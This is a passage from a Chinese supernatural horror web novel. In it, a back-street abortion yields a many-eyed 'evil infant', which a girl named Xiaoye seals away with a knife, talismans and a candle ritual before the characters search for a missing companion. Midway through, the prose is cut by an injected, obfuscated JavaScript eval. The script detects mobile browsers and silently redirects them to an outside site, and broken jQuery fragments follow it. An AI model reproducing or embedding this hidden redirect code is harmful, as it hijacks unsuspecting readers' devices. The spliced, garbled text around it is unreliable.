他担心万一有人找过来。
“你害怕,一个小姑娘就不怕?”
然而小叶挑眉,她应该是这个房间里胆子最大的了。
“那随便你吧。”韩洋妥协了,拆了一身新的刷手服给她。
别说,韩洋这人看着不靠谱,客厅也没给她留下什么好印象,但这个手术室还真能称得上是手术室,干净的房间一打开门就是一股消毒水味儿,金属质感的墙壁上能微微看到自己模糊的身影,就连手术台都和医院里的没区别,躺在上面,后背发凉,头脑发烫。
“推麻醉了。”
手背上一点刺痛,她听到韩洋说:“数到十就睡着了。”
一,二,三,四……
麻醉和睡着的感觉不一样,睡觉好歹还会做梦,麻醉什么都不会发生。就像天生盲人不会理解为什么健全人会闭眼模拟眼盲,闭上眼睛看到的是黑暗,盲人则连黑暗都看不见。
麻醉后的人和一摊烂泥没区别,小叶站在墙角,静静看着韩洋操作。
开始都没什么问题,他姿势跟炒菜一样随意,到了吸引这一步,光是看背影,小叶都发现他身体在渐渐僵硬。
这是她第一次参观人流手术,不知道正常该是什么样,总之看到连通器里那一块块碎肉时,她觉得有点不对。
钟心柔肚子里的东西——暂且称之为邪婴,按道理来讲应该会剧烈挣扎才对,她已经做好在韩洋诧异的时候上去帮忙的准备,然而这一幕并没有发生。
与之相反,吸引进行得很顺利,可是越顺利,韩洋的动作就越不流畅。
她不着痕迹地走近,终于看清了吸出来的是什么东西。
一团碎肉里面夹杂着数十只眼球,刚长出的视神经插进肉里,蠕动的肉泥拖着它们转动,好像一只只眼睛不断盯着她看,不管她在哪个方位。
然而即使这种情况下,韩洋仍然进行着最后一项,刮宫。
他额头上冒出一层冷汗,估计这会儿他已经明白为什么钟心柔非要来这么一个黑诊所做手术了,也不知道他会不会后悔揽这么个差事。
小叶轻轻做了个深呼吸,盘算着等他做完手术该怎么把它处理掉,或许是房间里太静了,所以耳边响起“咕噜咕噜”声音时,她后颈的汗毛刹那间竖起。看韩洋的反应,她知道他也听到了,那声音就像一锅煮沸的粥,再不动作就来不及了。
别动。
在韩洋一帧一帧转动的余光中,小叶比了个口型。
再近一点,再近一点。一呼一吸时,她手里的刀刺向操作台,然而还是晚了一步,那邪婴已经朝着韩洋飞去。
“继续做你的手术!”她大叫一句,一个箭步冲上去抓住那坨脑花一样的东西,把它按在地上,用刀狠狠刺穿。
一道尖叫刺透耳膜,韩洋连工具都差点拿不稳。
只有小叶知道这不是尖叫,因为她是亲眼看着它是如何发出声音的——摩擦,肉与肉在摩擦,眼球与眼球、眼球与肉,不停摩擦,蠕动,磨蹭,蠕动……
如果说钟心柔有什么特别希望的,现在她希望自己不要醒。
刺眼的白炽灯光在瞳孔上刻出纷繁复杂的画卷,她眨眨双眼,并没有什么特别的感觉。
撑起上半身,她还以为房间里只有自己一人,但目光缓缓下移,韩洋和小叶的身影出现在面前,他们蹲在地上,似乎是用力按压着什么,两人的嘴巴一张一合,她却什么也听不到,耳边只有一阵低频的嗡鸣,隐蔽到她以为那声音是从她脑海中发出的。
“按住了!我得把我的东西拿进来!”
“都说了我一个人按不住!”
豆大的汗珠从小叶脸上冒出,她大叫着张思俭的名字,然而韩洋对她道:“不行的,他听不见,这里隔音太好了。”
他们在说什么,她听得很模糊,可她看清了地上的东西。
她的直觉,那是从她身体里剖出来的,它似乎很痛苦的样子,挣扎着想要回到母体。
她翻身下床,只感觉自己踩在云端。
麻醉的威力够大的,希望她没有说什么不该说的话。
“哐当!”几个手术刀掉在地上的声音清脆得太过明显,即使是在邪婴的嘶吼下也足够引人注意,小叶诧异地抬头,看见了面无血色的钟心柔,她身体摇摇晃晃,手里却攥着一把手术刀,死死盯着地上这团肉,连恍惚的时间都没给她,就一刀刺上一只眼珠。
噗叽,一坨黄色混着血水的粘稠液体爆开,溅在韩洋的口罩上,他下意识抽动着眼皮。
“好歹也是你肚子里出来的东西,你就这么狠心……”
钟心柔冷冷抬眼:“你心疼它,塞你肚子里去。”
小叶是最先反应过来的,冲他大声道:“按好了!”
要按住它和力气关系不大,首先是得克服心里那一关,这种触感哪怕是戴着手套都让他心里发毛,韩洋克制住胃酸上涌,尽量别过眼神。
他一直是懵的,直到小叶抱来两个黄铜盆,点了一张符纸丢进去,然后用红绳把邪婴彻底封死在里面。
“我包里所有蜡烛拿出来以我为圆心绕圈摆,第一圈九个每圈加三个以此类推。”她盘腿坐在盆上,说完这段话就闭上了眼,嘴里念念有词,全是他们听不懂的语言,两人一刻不敢怠慢,迅速按她说的来。
全部做完后,钟心柔一步步后退,眼前这一幕是她从没见过的景象,本来普通的少女浑身散发着白光,眉目淡然,甚至让她怀疑是否有神明上身,红蜡烛竟闪烁出了金色光芒,没有一根火烛摇曳,纵横交错的光波悬停在她上方,像一个保护罩。
“喂……我没看错吧,这什么情况……”韩洋不可置信地喃喃到。
钟心柔没有搭理他,紧盯着她座下的铜盆,因为那东西都挣扎比刚刚要强烈得多,她不由得为小叶捏一把汗。
邪婴的动作慢慢变小,她才意识到,原来一直以来听到的烧水壶开的声音并不是机器发出的,而是它。
不知过了多久,小叶一直端坐,他们就一直没动,直到她睁开眼。
“把我的包拿过来。”
小叶是一个只要看到她就会把眼神全聚在她身上的人,所以钟心柔根本没发现原来她还背着一只包。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816933|172490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
那是一个用旧了的健身包,看着普普通通,只看外观,没人能想象到里面竟然放着一团邪物。
小叶郑重地对她说:“我会亲自把它送回观里,请师父做下一步决断,不管是什么结果都会告诉你。”
“嗯。”久违地发出声音,钟心柔只是点了点头,就觉得身体虚浮得很。好在小叶眼疾手快扶住她的背。
“手术再小也是手术,你可以暂时去隔壁房间休息一下。”韩洋推开门,看着还算干净舒适。
她张望了一下客厅,奇怪地问:“张思俭人呢?”
他们两个刚刚比她更忙,当然没有人知道他是什么时候消失的。
忽然间,她心中生出一种不好的预感。
“给。”韩洋递过来一只粉色保温杯,她接到,打开发现是红糖水。她意外:“这是你的关怀服务?”
他反而莫名其妙:“这不是张思俭带过来的?”
越想越觉得不对——他怎么会突然离开呢,没理由啊。
躺到床上,她打算给张思俭发个消息问一句,但却显示发送失败,然后,一个红色感叹号弹出,在她视网膜上留下一个深刻的痕迹。
被拉黑了?
钟心柔眉头紧锁,这下没法欺骗自己什么事也没发生了。
她问韩洋:“这里有监控吗?”
“只有楼下有,是一楼的房东装的。”看出她的焦急,他仍不紧不慢地说:“不过你别抱太大希望,那老大爷脾气爆,不一定能给你看。”
“现在这关头,不能也得能。”
“哎!你好歹休息一会儿再去啊!”看她风一样急匆匆掠过,韩洋叫到。“你还愣着干什么?”钟心柔完全没有刚结束一台手术的倦怠感,回头中气十足地冲他问到。
时间快到中午,韩洋敲响一楼大门时,里面电视里新闻播报声清晰可见。
“王叔,是我,五楼的。”他又敲了两下。许久,防盗门上才开了一个小窗,韩洋像是习惯了一样迅速躲开,才没毁容。
“嘿嘿,王叔,”他痞里痞气地笑着:“我们想看一眼楼道口监控。”
王叔长得就是一个固执的小老头,老花镜挂在鼻梁上,自上而下打量着他:“你说看就看?给钱!”
小窗被忽地闭上,一阵凉风袭击了外面三人。“这都什么人啊一天天的。”
“你看,我就说。”韩洋一脸无语地转身:“不要白费口舌了,你就算给他钱他也会想别的法来折磨你。况且你怎么知道张思俭不是纯粹把你扔在这儿自己跑了呢?”
“哐哐哐!”钟心柔两手并用砸在门上,巨大的声音盖过了他的话。
“你要多少钱?”
王叔随口报价:“一千!”
“好。”钟心柔答应得很干脆,面前那扇小窗猛地再次打开,王叔的脸探出,表情被挤得有点变形。他狐疑地左右瞧着她,大概是见应下得如此轻易,后悔自己说少了。
“一、一万!”
看到他这副财迷样儿,韩洋在后面嗤笑着摇头。就算再加两个零,对张家人来说也什么都不是。